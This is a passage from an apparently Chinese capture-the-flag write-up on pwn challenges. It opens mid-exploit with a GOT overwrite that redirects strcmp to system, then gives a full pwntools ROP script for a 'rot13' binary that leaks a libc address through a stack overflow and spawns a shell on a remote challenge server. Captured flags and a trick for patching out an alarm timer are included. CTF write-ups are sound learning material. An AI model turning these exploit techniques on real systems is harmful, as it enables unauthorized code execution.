r = io.recv().split(b'\n')[0]
libc_puts_addr = int(r, 16)
print(r, libc_puts_addr)
# calc system_addr
libcbase = libc_puts_addr - libc.symbols['puts']
system_addr = libcbase + libc.symbols['system']
# modify strcmp_got -> libc system
io.sendline('setpointer')
io.sendline(hex(int_over_num - (stack_array_addr - strcmp_got) // 8)[2:])
io.sendline('push')
io.sendline(hex(system_addr)[2:])
# use str
io.sendline('/bin/sh')
io.interactive()
io.close()
记得计算偏移时要//8
,想想为什么?
交互得到flag:
flag{5c16831d-488a-44b1-a4af-92379cae63b3}
rot13
this binary is so small!
checksec
发现当然是64位ELF且只开启了NX保护。
不过这个ELF文件十分小,没有通用的pop ret
的gadget,ida分析,发现有一处可以利用的mov ret
(应该是故意给的),read
函数有栈溢出漏洞,所以还是通过构造ROP
链泄露一个libc
的函数,减去偏移得到libc
的基地址,计算system
和/bin/sh
地址,然后再次利用getshell。
这里有个小技巧(其实是我用):pop pop ret
控制rsp
时出错了
我们利用write
泄露write_got
时发现rdi
在程序本身的write
输出后就为1
了,到我们利用时(leave ret
之后)也没变,所以第一次泄露时就只用mov rsi ret
控制rsi
即可,刚好留下一个空位返回程序开始的地址,供下一次栈溢出利用。
整体过程:
找到
mov rsi ret
的gadget,read
栈溢出泄露write_got
并返回函数开头以继续利用read
栈溢出。减去偏移得到
libc
的基地址,计算system
和/bin/sh
地址。再次
read
栈溢出getshell。
代码如下:
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *
import os
__dir__ = os.path.dirname(__file__)
context(os = 'linux', arch = 'amd64', log_level = 'debug')
pwn_file = os.path.join(__dir__, 'rot13_modify')
libc_file = os.path.join(__dir__, 'x64_libc.so.6')
libc = ELF(libc_file)
elf = ELF(pwn_file)
io = process([pwn_file], env={"LD_PRELOAD": './x64_libc.so.6'})
io = remote('everything411.top', 10016)
rand_val = 0xdeadbeefdeadbeef
write_plt = elf.plt['write']
write_got = elf.got['write']
mov_rdi_rsi_addr = 0x400425
mov_rsi_ret = 0x40042a
write_in_sub_addr = 0x4004AC
pop_rdx_rbp_ret = 0x40047e
pop_rbp_ret = 0x40047f
sub_func_addr = 0x400481
#gdb.attach(io)
payload_leak = b'A' * 0x40 + p64(rand_val) + \
p64(mov_rsi_ret) + p64(write_plt) + p64(sub_func_addr) + p64(write_got)
io.sendline(payload_leak)
r = io.recvuntil('\x00\x00\x00\x00\n')
r = io.recv()
libc_write_addr = u64(r[:8])
print(r, hex(libc_write_addr))
libcbase = libc_write_addr - libc.symbols['write']
system_addr = libcbase + libc.symbols['system']
binsh_addr = libcbase + next(libc.search(b'/bin/sh'))
payload = b'A' * 0x40 + p64(rand_val) + \
p64(mov_rdi_rsi_addr) + p64(system_addr) + p64(binsh_addr) + p64(0)
io.sendline(payload)
io.recv()
io.interactive()
io.close()
交互得到flag:
flag{9034ba03-f34c-46f4-8213-e49e76a35ad2}
这里还有个小技巧(其实有点瞎搞):
这个ELF程序还有个alarm
函数定时$10$秒自动退出,防止动态调试,我们可以在ida里找到这段汇编代码,按U
变为hex字符串,用winhex等去查找ELF中这段hex串,找到0A 00 00 00
改为FF FF FF FF
,然后保存,这下运行这个ELF程序就会定时0xFFFFFFFF
秒自动退出,相当于不退出,然后就可以gdb
动态调试了。
(做hard时睡意袭来 $\rightarrow$ 其实就是做不来了)
小结
相比于上次写iscc2020
的WP时,我总算会做点pwn
了,路漫漫其修远兮(气象卫星),还得继续学习了。
同时做题时千万别被表象欺骗了,有几道题就是这么卡住我的,要学会看题面和题面的反面。